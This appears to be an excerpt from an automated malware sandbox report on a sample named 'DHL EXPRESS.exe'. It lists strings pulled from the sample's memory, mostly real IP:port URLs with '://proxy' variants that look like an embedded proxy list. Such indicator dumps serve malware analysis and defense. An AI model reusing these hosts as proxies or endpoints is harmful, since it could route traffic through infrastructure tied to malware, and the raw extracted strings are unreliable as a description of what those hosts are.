Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.253.232.2:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.253.232.2:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.253.88.242:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.253.88.242:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.94:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.0.94:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.27.150:11201
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.27.150:11201://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC72A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.53.145:9090
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC759000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.41.53.145:9090://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.45.44.51:6332
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.45.44.51:6332://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.50.165.55:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.50.165.55:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.4
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.49.84:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.51.49.84:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.101.254:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.101.254:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.101.254:9000x
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.116.9:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.116.9:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC79A000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.116.9:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC7CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.116.9:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.16.97
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.16.97://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.16.97:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.6.39:9080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.6.39:9080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.95.19:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.95.19:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.95.19:8060
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.95.19:8060://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.95.19:9080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.54.95.19:9080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.23.33:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.23.33:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.70.97:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.56.70.97:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.109.25
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.109.253:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.109.253:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC5E0000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC5A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.204.129:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.204.129:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.4.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.4.89:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.4.89:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.4.90:999
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.7.4.90:999://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.83.108.89:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://38.83.108.89:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.105.27.30:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.105.5.126
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.105.5.126://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.105.5.126:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.108.227.108
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.108.227.108://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.108.227.108:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.108.229.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.108.229.14:8002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.108.229.14:8002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.109.113.97:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.109.113.97:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.165.0.13
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.165.0.137:9002
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://39.165.0.137:9002://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.144.161.159
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.144.161.159://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.144.161.159:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.182.9.108:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.182.9.108:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.236.183.37:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://4.236.183.37:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.127.8.243
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.127.8.243://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.127.8.243:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://40.76.160.143:9000
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.198.108
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.198.108://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.111.198.108:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.148.76:1976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.128.148.76:1976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.197.185:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.139.197.185:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.180.70.2:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.180.70.2:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.215.82.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.215.82.206:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.215.82.206:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.220.214:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.220.214:32650://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC618000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.223.145:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC48C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.217.223.145:32650://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.108.13:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.108.13:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.232.117:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.232.117:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.234.116:37259
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.223.234.116:37259://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADADA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.115:1973
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.115:1973://proxyp
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.115:1974
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.115:1974://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.233:1975
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.233:1975://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.234:1975
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.203.234:1975://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.219.131:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.219.131:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.66.22
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.66.228:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.33.66.228:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.233.9
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.233.97:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.233.97:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.26.210:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.60.26.210:32650://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.227.98:1976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.227.98:1976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.3
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.37:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.37:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.56:1976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.56:1976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.56:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.56:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.57:1976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.236.57:1976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.55.10:1976
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.55.10:1976://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.55.10:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.55.10:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.55.2:1981
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.65.55.2:1981://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.70.106.1:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.70.106.1:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA7CD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.74.91.244
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.74.91.244://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA796000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.74.91.244:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.77.188.131
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.77.188.131://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.77.188.131:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.85.8.233:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.85.8.233:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.86.252.91:443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://41.86.252.91:443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://42.200.196.208:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://42.200.196.208:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.128.232.224:31993
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.128.232.224:31993://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.129.210.41:10809://proxyx
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.129.228.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.129.228.46:7891
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.129.228.46:7891://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.131.245.216:15673
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.131.245.216:15673://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.132.184.228:8181
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.132.184.228:8181://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.133.136.208:8800
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.133.136.208:8800://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.133.74.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://43.133.74.172:15673
